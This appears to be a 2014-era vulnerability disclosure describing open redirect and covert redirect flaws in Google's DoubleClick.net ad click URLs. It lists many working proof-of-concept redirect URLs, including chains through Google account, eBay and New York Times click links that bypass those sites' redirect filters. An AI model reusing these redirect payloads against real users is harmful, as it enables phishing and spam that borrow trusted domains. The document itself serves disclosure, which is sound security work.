Google DoubleClick.net(Advertising) System URL Redirection Vulnerabilities
Can be Used by Spammers



Although Google does not include Open Redirect vulnerabilities in its bug
bounty program, its preventive measures against Open Redirect attacks have
been quite thorough and effective to date.

However, Google might have overlooked the security of its DoubleClick.net
<http://doubleclick.net/> ​advertising system. After some test, it is found
that most of the redirection URLs within DoubleClick.net
<http://doubleclick.net/> are vulnerable to Open Redirect vulnerabilities.
Many redirection are likely to be affected.

These redirections can be easily used by spammers, too.

Some URLs belong to Googleads.g.Doubleclick.net
<http://googleads.g.doubleclick.net/> are vulnerable to Open Redirect
attacks, too. While Google prevents similar URL redirections other than
Googleads.g.Doubleclick.net <http://googleads.g.doubleclick.net/>. Attackers
can use URLs related to Google Account to make the attacks more powerful.

Moreover, these vulnerabilities can be used to attack other companies such
as Google, eBay, The New York Times, e.g. by bypassing their Open Redirect
filters(Covert Redirect).




*(1) Background Related to Google DoubleClick.net.*



*(1.1) What is DoubleClick.net?*

"DoubleClick is the ad technology foundation to create, transact, and
manage digital advertising for the world's buyers, creators and sellers."
http://www.google.com.sg/doubleclick/



*(1.2) Reports Related to Google DoubleClick.net Used by Spammers*


*(1.2.1)*

Google DoublClick.net has been used by spammers for long time. The
following is a report in 2008.

"The open redirect had become popular with spammers trying to lure users
into clicking their links, as they could be made to look like safe URLs
within Google's domain."
https://www.virusbtn.com/blog/2008/06_03a.xml?comments


*(1.2.2)*

Mitechmate published a blog related to DoubleClick.net spams in 2014.

"Ad.doubleclick.net <http://ad.doubleclick.net/> is recognized as a
perilous adware application that causes unwanted redirections when surfing
on the certain webpages. Actually it is another browser hijacker that aims
to distribute frauds to make money.Commonly people pick up Ad.doubleclick
virus when download softwares, browse porn site or read spam email
attachments. It enters into computer sneakily after using computer
insecurely.Ad.doubleclick.net <http://insecurely.ad.doubleclick.net/> is
not just annoying, this malware traces users’ personal information, which
would be utilized for cyber criminal."
http://blog.mitechmate.com/remove-ad-doubleclick-net-redirect-virus/


*(1.2.3)*

Malwarebytes posted a news related to DoubleClick.net malvertising in 2014.

"Large malvertising campaign under way involving DoubleClick and Zedo"
https://blog.malwarebytes.org/malvertising-2/2014/09/large-malvertising-campaign-under-way-involving-doubleclick-and-zedo/




*(2) DoubleClick.net System URL Redirection Vulnerabilities Details.*

These vulnerabilities can be attacked without user login. Tests were
performed on Firefox (26.0) in Ubuntu (12.04) and IE (9.0.15) in Windows 7.

Used webpages for the following tests. The webpage address is "
http://www.tetraph.com/security". We can suppose that this webpage is
malicious.



*(2.1) Vulnerable URLs Related to Googleads.g.Doubleclick.net
<http://googleads.g.doubleclick.net/>.*


*(2.1.1)*

Some URLs belong to googleads.g.doubleclick.net are vulnerable to Open
Redirect attacks. While Google prevents similar URL redirection other than
googleads.g.doubleclick.net.


Vulnerable URLs:
http://googleads.g.doubleclick.net/aclk?sa=L&ai=CWEQH6Q73UqW9CMvMigfdiIGoB9rlksIEAAAQASAAUO7kr-b8_____wFgvwWCARdjYS1wdWItMDQ2NjU4MjEwOTU2NjUzMsgBBOACAKgDAaoEggFP0E-9agyjXkIfjOxmtpPE76hNCBn1in_meKMn53O-8ZFlbxWDgYdaVZQKJza8mIRXw22hWIVMAOJJzq-S6AipWHe9iVZCAAlcHj-gT2B33tD9a2oQrZ61S3-WFh_8T8RFUFnC_PRC35CTFbueQrUYjC-j6ncVXzt_IPXugo5vE-3x4AQBoAYV&num=0&sig=AOD64_2petJH0A9Zjj45GN117ocBukiroA&client=ca-pub-0466582109566532&adurl=http://www.sharp-world.com/igzo

http://googleads.g.doubleclick.net/aclk?sa=L&ai=C-RHnNvn2Uom8LeTaigfjkIHICfLQnccEAAAQASAAUNTx5Pf4_____wFgvwWCARdjYS1wdWItMDQ2NjU4MjEwOTU2NjUzMsgBBOACAKgDAaoEhQFP0LHofgVzg8U9Bvwu2_hN9Ow0n2tBH9xjKtngqcF6hgGQpxV6QzMgNxx0_UawPG3-UD097GLLCirbVMl2QxQqa04U3cp4YFgV5dshYbzmqlVVfNn-NuunzLNab6ATE5BUwQ9bgXBOW_qEz8qgbwVOvUJrn1IzL-ymANaKsQLZ9POlkbIe4AQBoAYV&num=0&sig=AOD64_3a3m_P_9GRVFc6UIGvnornMcLMoQ&client=ca-pub-0466582109566532&adurl=http://economics.wj.com


POC:
http://googleads.g.doubleclick.net/aclk?sa=L&ai=CWEQH6Q73UqW9CMvMigfdiIGoB9rlksIEAAAQASAAUO7kr-b8_____wFgvwWCARdjYS1wdWItMDQ2NjU4MjEwOTU2NjUzMsgBBOACAKgDAaoEggFP0E-9agyjXkIfjOxmtpPE76hNCBn1in_meKMn53O-8ZFlbxWDgYdaVZQKJza8mIRXw22hWIVMAOJJzq-S6AipWHe9iVZCAAlcHj-gT2B33tD9a2oQrZ61S3-WFh_8T8RFUFnC_PRC35CTFbueQrUYjC-j6ncVXzt_IPXugo5vE-3x4AQBoAYV&num=0&sig=AOD64_2petJH0A9Zjj45GN117ocBukiroA&client=ca-pub-0466582109566532&adurl=http://www.tetraph.com/security

http://googleads.g.doubleclick.net/aclk?sa=L&ai=C-RHnNvn2Uom8LeTaigfjkIHICfLQnccEAAAQASAAUNTx5Pf4_____wFgvwWCARdjYS1wdWItMDQ2NjU4MjEwOTU2NjUzMsgBBOACAKgDAaoEhQFP0LHofgVzg8U9Bvwu2_hN9Ow0n2tBH9xjKtngqcF6hgGQpxV6QzMgNxx0_UawPG3-UD097GLLCirbVMl2QxQqa04U3cp4YFgV5dshYbzmqlVVfNn-NuunzLNab6ATE5BUwQ9bgXBOW_qEz8qgbwVOvUJrn1IzL-ymANaKsQLZ9POlkbIe4AQBoAYV&num=0&sig=AOD64_3a3m_P_9GRVFc6UIGvnornMcLMoQ&client=ca-pub-0466582109566532&adurl=http://www.tetraph.com/security


Attackers can make use of the following URLs to make the attacks more
powerful, i.e.
https://www.google.com/accounts/ServiceLogin?continue=https%3A%2F%2Fsites.google.com%2Fsite%2Fissrabhi%2Fhome&service=jotspot&passive=true&ul=1

https://accounts.google.com/accounts/SetSID?ssdc=1&sidt=*&continue=http%3A%2F%2Fwww.orkut.com%2FRedirLogin%3Fmsg%3D1%26auth%3D*


POC:
https://www.google.com/accounts/ServiceLogin?continue=http%3A%2F%2Fgoogleads.g.doubleclick.net%2Faclk%3Fsa%3DL%26ai%3DCtHoIVxn3UvjLOYGKiAeelIHIBfLQnccEAAAQASAAUNTx5Pf4_____wFgvwWCARdjYS1wdWItMDQ2NjU4MjEwOTU2NjUzMsgBBOACAKgDAaoE5AFP0NHr5cHwFmWgKNs6HNTPVk7TWSV-CDHX83dKdGSWJ2ADoZNIxUHZwjAODRyDY_7nVtpuqSLOTef4xzVxDQ2U22MNbGak33Ur7i2jDB8LdYt9TbC3ifsXmklY5jl3Zpq4_lP7wagVfjt0--tNPPGTR96NGbxgPvfHMq9ZsTXpjhc_lPlnyGjlWzF8yn437iaxhGRwYLt_CymifLO2YaJPkCm9nLpONtUM-mstUSpKQrP2VjjaZkbDtuK0naLLBV37aYEY4TzWQi8fQGN47z4XgpinBCna91zQayZjn2wxccDCl0zgBAGgBhU%26num%3D0%26sig%3DAOD64_3Qi4qG3CRVHRI5AHSkSGuL7HJqSA%26client%3Dca-pub-0466582109566532%26adurl%3Dhttp%3A%2F%2Fwww.tetraph.com%2Fessaybeans%2Freflections%2Fsolitude.html

https://accounts.google.com/accounts/SetSID?ssdc=1&sidt=*&continue=http%3A%2F%2Fgoogleads.g.doubleclick.net%2Faclk%3Fsa%3DL%26ai%3DCtHoIVxn3UvjLOYGKiAeelIHIBfLQnccEAAAQASAAUNTx5Pf4_____wFgvwWCARdjYS1wdWItMDQ2NjU4MjEwOTU2NjUzMsgBBOACAKgDAaoE5AFP0NHr5cHwFmWgKNs6HNTPVk7TWSV-CDHX83dKdGSWJ2ADoZNIxUHZwjAODRyDY_7nVtpuqSLOTef4xzVxDQ2U22MNbGak33Ur7i2jDB8LdYt9TbC3ifsXmklY5jl3Zpq4_lP7wagVfjt0--tNPPGTR96NGbxgPvfHMq9ZsTXpjhc_lPlnyGjlWzF8yn437iaxhGRwYLt_CymifLO2YaJPkCm9nLpONtUM-mstUSpKQrP2VjjaZkbDtuK0naLLBV37aYEY4TzWQi8fQGN47z4XgpinBCna91zQayZjn2wxccDCl0zgBAGgBhU%26num%3D0%26sig%3DAOD64_3Qi4qG3CRVHRI5AHSkSGuL7HJqSA%26client%3Dca-pub-0466582109566532%26adurl%3Dhttp%3A%2F%2Fwww.diebiyi.com%2Farticles


*(2.1.2)*

While Google prevents similar URL redirection other than
googleads.g.doubleclick.net , e.g.

http://www.googleadservices.com/pagead/aclk?sa=L&ai=C8u9OibgEU_XIOKrNswfrzYDgAY2FhfgE1aLjnoYB-7qSCxADILhPKANQrt2khP3_____AWC_BaAB8-vV0gPIAQGqBChP0AshNp656okgv3tSxmgc3JZeuS25cM0HlW9wUqHwxL8nk75mFPqsgAf1k6otkAcB&num=3&val=ChA2MWI5ODZkYzA4MTlmZmRlEN-mlZgFGgghk-txLb-9bSABKAAwhPDs-dD_xPHhATj6w5KYBUD6w5KYBQ&sig=AOD64_2f3wWGlepm4KMYlixE15qmjC1FGw&adurl=http://freshservice.com/free-service-desk/

http://www.googleadservices.com/pagead/aclk?sa=L&ai=C6w2J2VL1UtqeFtPFsQe_xICACOur9I0Gm4qOwXKd4q7LvAEQAiC4TygCUPrp_p7______wFgvwWgAY2TjcoDyAEBqQJGONe13HWqPqoEIk_QksMhB61R5_EBc-rRl0G3mUtOQjLemb4NjAETa6dj-AGAB9vs8jWQBwE&num=2&val=ChA5MDRhYzc4NjJiNjFlMzZlEO6g15cFGgjqLoQCBAXi2SABKAAw6sfV44GF7cZ_OMbI1ZcFQMbI1ZcF&sig=AOD64_1g--5hg2Tc0L5irweEKYqbh1FwSw&adurl=https://www.singtelshop.com/mobile/phone-details.jsf%3FbrandId%3D122%26modelId%3DZ10



*(2.2) Vulnerable URLs Related to DoubleClick.net.*

Vulnerable URLs 1:
http://ad.doubleclick.net/click;h=v2%7C4133%7C0%7C0%7C%2a%7Cl;276061443;0-0;0;103152519;31-1%7C1;55814388%7C55703677%7C1;;%3fhttp://noteok.zdnet.com.cn/notebook/2013/1113/2995493.shtml

http://ad.doubleclick.net/click;h=v2%7C4133%7C0%7C0%7C%2a%7Cl;276061443;0-0;0;103152519;31-1%7C1;55814388%7C55703677%7C1;;%3fhttp://noteok.zdnet.com.cn/notebook/2013/1113/2995493.shtml


POC:
http://ad.doubleclick.net/click;h=v2%7C4133%7C0%7C0%7C%2a%7Cl;276061443;0-0;0;103152519;31-1%7C1;55814388%7C55703677%7C1;;%3fhttp://www.inzeed.com/kaleidoscope/

http://ad.doubleclick.net/click;h=v2%7C4133%7C0%7C0%7C%2a%7Cl;276061443;0-0;0;103152519;31-1%7C1;55814388%7C55703677%7C1;;%3fhttp://www.tetraph.com/security



Vulnerable URLs 2:
http://ad.doubleclick.net/clk;275260754;102106837;b?http://zerodistance.cio.com

http://ad.doubleclick.net/clk;276304929;103445101;w?http://tracker.marinsm.com/rd


POC:
http://ad.doubleclick.net/clk;275260754;102106837;b?http://www.inzeed.com/kaleidoscope/

http://ad.doubleclick.net/clk;276304929;103445101;w?http://www.tetraph.com/security



Vulnerable URLs 3:
http://cm.g.doubleclick.net/pixel?google_nid=rfi&google_cm&google_sc&google_hm=Njk4NjIwODk1OTI4NzkxMzM3&forward=http%3A%2F%2Fib.adnxs.com

http://cm.g.doubleclick.net/pixel?google_nid=rfi&google_cm&google_sc&google_hm=Njk4NjIwODk1ODY0NDM1NzM2&forward=http%3A%2F%2Fwww.reuters.com%


POC:
http://cm.g.doubleclick.net/pixel?google_nid=rfi&google_cm&google_sc&google_hm=Njk4NjIwODk1OTI4NzkxMzM3&forward=http://www.inzeed.com/kaleidoscope/

http://cm.g.doubleclick.net/pixel?google_nid=rfi&google_cm&google_sc&google_hm=Njk4NjIwODk1ODY0NDM1NzM2&forward=http://www.tetraph.com/security



...



We can see that Google DoubleClick.net has Open Redirect vulnerabilities
and could be misused by spammers.



*(2.3)*

POC Video:
https://www.youtube.com/watch?v=lfKHVGHWvk8&feature=youtu.be




*(3) Google DoubleClick.net Can Adversely Affect Other Websites.*

At the same time, Google DoubleClick.net can be used to do "Covert
Redirect" to other websites, such as Google, eBay, The New York Times,
etc.(Bypass other websites' Open Redirect filters)



*(3.1)*

Google Covert Redirect Vulnerability Based on Googleads.g.doubleclick.net
<http://googleads.g.doubleclick.net/>

Vulnerable URL:
https://www.google.com/accounts/Logout?service=writely&continue=https://google.com/

POC:
https://www.google.com/accounts/Logout?service=wise&continue=http%3A%2F%2Fgoogleads.g.doubleclick.net%2Faclk%3Fsa%3DL%26ai%3DCtHoIVxn3UvjLOYGKiAeelIHIBfLQnccEAAAQASAAUNTx5Pf4_____wFgvwWCARdjYS1wdWItMDQ2NjU4MjEwOTU2NjUzMsgBBOACAKgDAaoE5AFP0NHr5cHwFmWgKNs6HNTPVk7TWSV-CDHX83dKdGSWJ2ADoZNIxUHZwjAODRyDY_7nVtpuqSLOTef4xzVxDQ2U22MNbGak33Ur7i2jDB8LdYt9TbC3ifsXmklY5jl3Zpq4_lP7wagVfjt0--tNPPGTR96NGbxgPvfHMq9ZsTXpjhc_lPlnyGjlWzF8yn437iaxhGRwYLt_CymifLO2YaJPkCm9nLpONtUM-mstUSpKQrP2VjjaZkbDtuK0naLLBV37aYEY4TzWQi8fQGN47z4XgpinBCna91zQayZjn2wxccDCl0zgBAGgBhU%26num%3D0%26sig%3DAOD64_3Qi4qG3CRVHRI5AHSkSGuL7HJqSA%26client%3Dca-pub-0466582109566532%26adurl%3Dhttp%3A%2F%2Fwww.tetraph.com%2Fsecurity


More Details:

Video:
https://www.youtube.com/watch?v=btuSq89khcQ&feature=youtu.be

Blog:
http://computerobsess.blogspot.com/2014/11/google-covert-redirect-vulnerability.html



*(3.2)*

eBay Covert Redirect Vulnerability Based on Googleads.g.doubleclick.net
<http://googleads.g.doubleclick.net/>

Vulnerable URL:
http://rover.ebay.com/rover/1/711-67261-24966-0/2?mtid=691&kwid=1&crlp=1_263602&itemid=370825182102&mpre=http://googleads.g.doubleclick.net/

POC:
http://rover.ebay.com/rover/1/711-67261-24966-0/2?mtid=691&kwid=1&crlp=1_263602&itemid=370825182102&mpre=http://googleads.g.doubleclick.net/aclk?sa=L%26ai=C-RHnNvn2Uom8LeTaigfjkIHICfLQnccEAAAQASAAUNTx5Pf4_____wFgvwWCARdjYS1wdWItMDQ2NjU4MjEwOTU2NjUzMsgBBOACAKgDAaoEhQFP0LHofgVzg8U9Bvwu2_hN9Ow0n2tBH9xjKtngqcF6hgGQpxV6QzMgNxx0_UawPG3-UD097GLLCirbVMl2QxQqa04U3cp4YFgV5dshYbzmqlVVfNn-NuunzLNab6ATE5BUwQ9bgXBOW_qEz8qgbwVOvUJrn1IzL-ymANaKsQLZ9POlkbIe4AQBoAYV%26num=0%26sig=AOD64_3a3m_P_9GRVFc6UIGvnornMcLMoQ%26client=ca-pub-0466582109566532%26adurl=http://www.tetraph.com/security


More Details:

Video:
https://www.youtube.com/watch?v=a4H-u17Y9ks

Blog:
http://tetraph.blogspot.com/2014/11/ebay-covert-redirect-vulnerability.html



*(3.3)*

The New York Times (Nytimes.com) Covert Redirect Vulnerability Based on
Google Doubleclick.net

Vulnerable URL:
http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/pages/nyregion/index.html&pos=SFMiddle&sn2=8dfce1f6/9926f9b3&sn1=bbba504f/c0de9221&camp=CouplesResorts_1918341&ad=NYRegionSF_Feb_300x250-B5732328.10663001&goto=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fddm%2Fclk%2F279541164%3B106630011%3Bs%3Fhttp%3A%2F%2Ffacebook%2Ecom%2Fall%2Dinclusive%2Ephp%3Futm%5Fsource%3Dnyt%26utm%5Fmedium%3Ddisplay%26utm%5Fcontent%3Dclicktracker%26utm%5Fcampaign%3D300x250%5FExpectMore%5FNYT%5FNYRegion

POC:
http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/pages/nyregion/index.html&pos=SFMiddle&sn2=8dfce1f6/9926f9b3&sn1=bbba504f/c0de9221&camp=CouplesResorts_1918341&ad=NYRegionSF_Feb_300x250-B5732328.10663001&goto=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fddm%2Fclk%2F279541164%3B106630011%3Bs%3Fhttp%3A%2F%2Ftetraph%2Ecom%2Fsecurity%3F%2Dinclusive%2Ephp%3Futm%5Fsource%3Dnyt%26utm%5Fmedium%3Ddisplay%26utm%5Fcontent%3Dclicktracker%26utm%5Fcampaign%3D300x250%5FExpectMore%5FNYT%5FNYRegion


More Details:

Video:
https://www.youtube.com/watch?v=3XtrUqzxNW0

Blog:
http://computerobsess.blogspot.com/2014/11/nytimes-covert-redirect-vulnerability.html




These vulnerabilities were reported to Google earlier in 2014. But it seems
that Google has yet taken any actions. All of the vulnerabilities are still
unpatched.




Reporter:
Wang Jing, Mathematics, Nanyang Technological University
http://www.tetraph.com/wangjing




More Details:
http://tetraph.com/security/open-redirect/google-doubleclick-netadvertising-system-url-redirection-vulnerabilities-can-be-used-by-spammers/